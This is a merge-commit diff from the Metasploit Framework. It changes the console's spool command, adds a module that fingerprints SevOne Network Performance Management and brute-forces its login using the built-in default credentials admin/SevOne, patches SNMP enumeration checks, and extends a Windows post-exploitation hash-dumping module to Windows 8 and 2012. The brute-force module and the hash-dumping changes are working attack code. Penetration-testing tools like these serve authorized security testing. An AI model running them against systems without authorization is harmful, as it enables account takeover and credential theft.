Merge branch 'master' of https://github.com/rapid7/metasploit-framework

lib/msf/ui/console/command_dispatcher/core.rb

@@ -1503,14 +1503,24 @@ class Core
 			return
 		end
 
+		color = driver.output.config[:color]
+
 		if args[0] == "off"
 			driver.init_ui(driver.input, Rex::Ui::Text::Output::Stdio.new)
-			print_status("Spooling is now disabled")
-			return
+			msg = "Spooling is now disabled"
+		else
+			driver.init_ui(driver.input, Rex::Ui::Text::Output::Tee.new(args[0]))
+			msg = "Spooling to file #{args[0]}..."
 		end
 
-		driver.init_ui(driver.input, Rex::Ui::Text::Output::Tee.new(args[0]))
-		print_status("Spooling to file #{args[0]}...")
+		# Restore color and prompt
+		driver.output.config[:color] = color
+		prompt = framework.datastore['Prompt'] || Msf::Ui::Console::Driver::DefaultPrompt
+		prompt_char = framework.datastore['PromptChar'] || Msf::Ui::Console::Driver::DefaultPromptChar
+		driver.update_prompt("#{prompt} #{active_module.type}(%bld%red#{active_module.shortname}%clr) ", prompt_char, true)
+
+		print_status(msg)
+		return
 	end
 
 	def cmd_sessions_help

modules/auxiliary/scanner/http/sevone_enum.rb

@@ -0,0 +1,117 @@
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# web site for more information on licensing and terms of use.
+#   http://metasploit.com/
+##
+
+require 'rex/proto/http'
+require 'msf/core'
+
+class Metasploit3 < Msf::Auxiliary
+
+	include Msf::Exploit::Remote::HttpClient
+	include Msf::Auxiliary::Report
+	include Msf::Auxiliary::AuthBrute
+	include Msf::Auxiliary::Scanner
+
+	def initialize(info={})
+		super(update_info(info,
+			'Name'	=> 'SevOne Network Performance Management Application Brute Force Login Utility',
+			'Description'    => %{
+					This module scans for SevOne Network Performance Management System Application,
+				finds its version, and performs login brute force to identify valid credentials.
+			},
+			'Author'         =>
+				[
+					'Karn Ganeshen <KarnGaneshen[at]gmail.com>'
+				],
+			'DisclosureDate' => 'Jun 07 2013',
+			'License'        => MSF_LICENSE
+		))
+	register_options(
+		[
+			OptString.new('USERNAME', [false, 'A specific username to authenticate as', 'admin']),
+			OptString.new('PASSWORD', [false, 'A specific password to authenticate with', 'SevOne'])
+		], self.class)
+	end
+
+	def run_host(ip)
+		unless is_app_sevone?
+			print_error("Application does not appear to be SevOne. Module will not continue.")
+			return
+		end
+
+		print_status("Starting login brute force...")
+		each_user_pass do |user, pass|
+			do_login(user, pass)
+		end
+	end
+
+	#
+	# What's the point of running this module if the app actually isn't SevOne?
+	#
+	def is_app_sevone?
+		res = send_request_cgi(
+		{
+			'uri'       => '/doms/about/index.php',
+			'method'    => 'GET'
+		})
+
+		if (res and res.code.to_i == 200 and res.headers['Set-Cookie'].include?('SEVONE'))
+			version_key = /Version: <strong>(.+)<\/strong>/
+			version = res.body.scan(version_key).flatten
+			print_good("Application confirmed to be SevOne Network Performance Management System version #{version}")
+			return true
+		end
+		return false
+	end
+
+	#
+	# Brute-force the login page
+	#
+	def do_login(user, pass)
+		vprint_status("Trying username:'#{user.inspect}' with password:'#{pass.inspect}'")
+		begin
+			res = send_request_cgi(
+			{
+				'uri'       => "/doms/login/processLogin.php",
+				'method'    => 'GET',
+				'vars_get'    =>
+				{
+					'login' => user,
+					'passwd' => pass,
+					'tzOffset' => '-25200',
+					'tzString' => 'Thur+May+05+1983+05:05:00+GMT+0700+'
+				}
+			})
+
+		check_key = "The user has logged in successfully."
+
+		key = JSON.parse(res.body)["statusString"]
+
+		if (not res or key != "#{check_key}")
+			vprint_error("FAILED LOGIN. '#{user.inspect}' : '#{pass.inspect}' with code #{res.code}")
+			return :skip_pass
+		else
+			print_good("SUCCESSFUL LOGIN. '#{user.inspect}' : '#{pass.inspect}'")
+
+			report_hash = {
+				:host   => datastore['RHOST'],
+				:port   => datastore['RPORT'],
+				:sname  => 'SevOne Network Performance Management System Application',
+				:user   => user,
+				:pass   => pass,
+				:active => true,
+				:type   => 'password'}
+
+			report_auth_info(report_hash)
+			return :next_user
+		end
+
+		rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError, ::Errno::EPIPE
+			print_error("HTTP Connection Failed, Aborting")
+			return :abort
+		end
+	end
+end

modules/auxiliary/scanner/snmp/snmp_enum.rb

@@ -84,7 +84,7 @@ class Metasploit3 < Msf::Auxiliary
 
 			systemDate = snmp.get_value('1.3.6.1.2.1.25.1.2.0')
 			str = systemDate.to_s
-			if (str.empty? or str =~ /Null/)
+			if (str.empty? or str =~ /Null/ or str =~ /^noSuch/)
 				output_data["System date"] = '-'
 			else
 
@@ -653,7 +653,7 @@ class Metasploit3 < Msf::Auxiliary
 			end
 
 			hrFSRemoteMountPoint = snmp.get_value('1.3.6.1.2.1.25.3.8.1.3.1')
-			if hrFSRemoteMountPoint.to_s !~ /Null/
+			if hrFSRemoteMountPoint.to_s !~ /Null/ and hrFSRemoteMountPoint.to_s !~ /^noSuch/
 				if hrFSRemoteMountPoint.empty?
 					hrFSRemoteMountPoint = '-'
 				end

modules/post/windows/gather/smart_hashdump.rb

@@ -447,7 +447,7 @@ class Metasploit3 < Msf::Post
 					rescue::Exception => e
 						print_error("Failed to dump hashes as SYSTEM, trying to migrate to another process")
 
-						if sysinfo['OS'] =~ /(Windows 2008)/i
+						if sysinfo['OS'] =~ /Windows (2008|2012)/i
 							move_to_sys
 							file_local_write(pwdfile,inject_hashdump)
 						else
@@ -474,7 +474,7 @@ class Metasploit3 < Msf::Post
 							results = session.priv.getsystem
 							if results[0]
 								print_good("Got SYSTEM privilege")
-								if session.sys.config.sysinfo['OS'] =~ /(Windows 2008)/i
+								if session.sys.config.sysinfo['OS'] =~ /Windows (2008|2012)/i
 									# Migrate process since on Windows 2008 R2 getsystem
 									# does not set certain privilege tokens required to
 									# inject and dump the hashes.
@@ -489,7 +489,7 @@ class Metasploit3 < Msf::Post
 						end
 
 					end
-				elsif sysinfo['OS'] =~ /(Windows 7|2008|Vista)/i
+				elsif sysinfo['OS'] =~ /Windows (7|8|2008|2012|Vista)/i
 					if migrate_system
 						print_status("Trying to get SYSTEM privilege")
 						results = session.priv.getsystem